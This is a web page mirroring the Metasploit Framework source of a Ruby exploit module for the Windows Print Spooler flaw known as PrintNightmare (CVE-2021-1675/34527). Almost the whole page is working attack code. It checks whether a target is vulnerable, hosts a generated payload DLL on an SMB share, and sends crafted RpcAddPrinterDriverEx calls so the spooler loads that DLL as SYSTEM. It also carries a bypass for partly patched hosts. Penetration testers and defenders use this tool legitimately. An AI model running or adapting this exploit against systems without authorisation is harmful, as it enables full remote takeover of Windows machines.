CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'windows_error'
7
require 'ruby_smb'
8
require 'ruby_smb/error'
9
10
class MetasploitModule < Msf::Exploit::Remote
11
12
prepend Msf::Exploit::Remote::AutoCheck
13
include Msf::Exploit::Remote::DCERPC
14
include Msf::Exploit::Remote::SMB::Client::Authenticated
15
include Msf::Exploit::Remote::SMB::Server::Share
16
include Msf::Exploit::Retry
17
include Msf::Exploit::EXE
18
include Msf::Exploit::Deprecated
19
20
moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'
21
22
PrintSystem = RubySMB::Dcerpc::PrintSystem
23
24
def initialize(info = {})
25
super(
26
update_info(
27
info,
28
'Name' => 'Print Spooler Remote DLL Injection',
29
'Description' => %q{
30
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted
31
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN
32
vector which requires the Print Spooler service to be running.
33
},
34
'Author' => [
35
'Zhiniang Peng', # vulnerability discovery / research
36
'Xuefeng Li', # vulnerability discovery / research
37
'Zhipeng Huo', # vulnerability discovery
38
'Piotr Madej', # vulnerability discovery
39
'Zhang Yunhai', # vulnerability discovery
40
'cube0x0', # PoC
41
'Spencer McIntyre', # metasploit module
42
'Christophe De La Fuente', # metasploit module co-author
43
],
44
'License' => MSF_LICENSE,
45
'DefaultOptions' => {
46
'SRVHOST' => Rex::Socket.source_address
47
},
48
'Stance' => Msf::Exploit::Stance::Aggressive,
49
'Targets' => [
50
[
51
'Windows', {
52
'Platform' => 'win',
53
'Arch' => [ ARCH_X64, ARCH_X86 ]
54
},
55
],
56
],
57
'DisclosureDate' => '2021-06-08',
58
'References' => [
59
['CVE', '2021-1675'],
60
['CVE', '2021-34527'],
61
['URL', 'https://github.com/cube0x0/CVE-2021-1675'],
62
['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],
63
['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],
64
['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']
65
],
66
'Notes' => {
67
'AKA' => [ 'PrintNightmare' ],
68
'Stability' => [CRASH_SERVICE_DOWN],
69
'Reliability' => [UNRELIABLE_SESSION],
70
'SideEffects' => [
71
ARTIFACTS_ON_DISK # the dll will be copied to the remote server
72
]
73
}
74
)
75
)
76
77
register_advanced_options(
78
[
79
OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])
80
]
81
)
82
deregister_options('AutoCheck')
83
end
84
85
def check
86
begin
87
connect(backend: :ruby_smb)
88
rescue Rex::ConnectionError
89
return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')
90
end
91
92
begin
93
smb_login
94
rescue Rex::Proto::SMB::Exceptions::LoginError
95
return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')
96
end
97
98
begin
99
dcerpc_bind_spoolss
100
rescue RubySMB::Error::UnexpectedStatusCode => e
101
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
102
if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
103
print_error("The 'Print Spooler' service is disabled.")
104
end
105
return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
106
end
107
108
@target_arch = dcerpc_getarch
109
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
110
if @target_arch == ARCH_X64
111
@environment = 'Windows x64'
112
elsif @target_arch == ARCH_X86
113
@environment = 'Windows NT x86'
114
else
115
return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
116
end
117
118
print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")
119
120
print_status('Enumerating the installed printer drivers...')
121
drivers = enum_printer_drivers(@environment)
122
@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"
123
vprint_status("Using driver path: #{@driver_path}")
124
125
print_status('Retrieving the path of the printer driver directory...')
126
@config_directory = get_printer_driver_directory(@environment)
127
vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?
128
129
container = driver_container(
130
p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
131
p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
132
)
133
134
case add_printer_driver_ex(container)
135
when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
136
return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
137
when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
138
return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
139
when ::WindowsError::Win32::ERROR_BAD_NET_NAME
140
return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
141
when ::WindowsError::Win32::ERROR_ACCESS_DENIED
142
return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
143
end
144
145
Exploit::CheckCode::Detected('Successfully bound to the remote service.')
146
end
147
148
def run
149
fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
150
fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
151
fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
152
153
super
154
end
155
156
def setup
157
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
158
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
159
end
160
161
super
162
end
163
164
def start_service
165
file_name << '.dll'
166
self.file_contents = generate_payload_dll
167
168
super
169
end
170
171
def primer
172
dll_path = unc
173
if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
174
# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
175
# otherwise the operation will fail with ERROR_INVALID_PARAMETER
176
dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"
177
end
178
vprint_status("Using DLL path: #{dll_path}")
179
180
filename = dll_path.rpartition('\\').last
181
container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)
182
183
3.times do
184
add_printer_driver_ex(container)
185
end
186
187
1.upto(3) do |directory|
188
container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")
189
break if add_printer_driver_ex(container).nil?
190
end
191
192
cleanup_service
193
end
194
195
def driver_container(**kwargs)
196
PrintSystem::DriverContainer.new(
197
level: 2,
198
tag: 2,
199
driver_info: PrintSystem::DriverInfo2.new(
200
c_version: 3,
201
p_name_ref_id: 0x00020000,
202
p_environment_ref_id: 0x00020004,
203
p_driver_path_ref_id: 0x00020008,
204
p_data_file_ref_id: 0x0002000c,
205
p_config_file_ref_id: 0x00020010,
206
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913
207
p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",
208
p_environment: @environment,
209
p_driver_path: @driver_path,
210
**kwargs
211
)
212
)
213
end
214
215
def dcerpc_bind_spoolss
216
handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])
217
vprint_status("Binding to #{handle} ...")
218
dcerpc_bind(handle)
219
vprint_status("Bound to #{handle} ...")
220
end
221
222
def enum_printer_drivers(environment)
223
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
224
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
225
fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
226
DriverInfo2.read(response.p_drivers.map(&:chr).join)
227
end
228
229
def get_printer_driver_directory(environment)
230
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
231
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
232
fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
233
RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')
234
end
235
236
def add_printer_driver_ex(container)
237
flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES
238
239
begin
240
response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
241
rescue RubySMB::Error::UnexpectedStatusCode => e
242
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
243
message = "Error #{nt_status.name} (#{nt_status.description})"
244
if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
245
# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
246
print_status('The named pipe connection was broken, reconnecting...')
247
reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
248
dcerpc_bind_spoolss
249
rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e
250
false
251
else
252
true
253
end
254
255
unless reconnected
256
vprint_status('Failed to reconnect to the named pipe.')
257
return nil
258
end
259
260
print_status('Successfully reconnected to the named pipe.')
261
retry
262
else
263
print_error(message)
264
end
265
266
return nt_status
267
end
268
269
error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
270
message = "RpcAddPrinterDriverEx response #{response.error_status}"
271
message << " #{error.name} (#{error.description})" unless error.nil?
272
vprint_status(message)
273
error
274
end
275
276
def rprn_call(name, **kwargs)
277
request = PrintSystem.const_get("#{name}Request").new(**kwargs)
278
279
begin
280
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
281
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
282
fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")
283
end
284
285
PrintSystem.const_get("#{name}Response").read(raw_response)
286
end
287
288
class DriverInfo2Header < BinData::Record
289
endian :little
290
291
uint32 :c_version
292
uint32 :name_offset
293
uint32 :environment_offset
294
uint32 :driver_path_offset
295
uint32 :data_file_offset
296
uint32 :config_file_offset
297
end
298
299
# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2
300
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
301
DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do
302
def self.read(data)
303
header = DriverInfo2Header.read(data)
304
new(
305
header,
306
RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),
307
RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),
308
RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),
309
RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),
310
RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')
311
)
312
end
313
end
314
end
315
316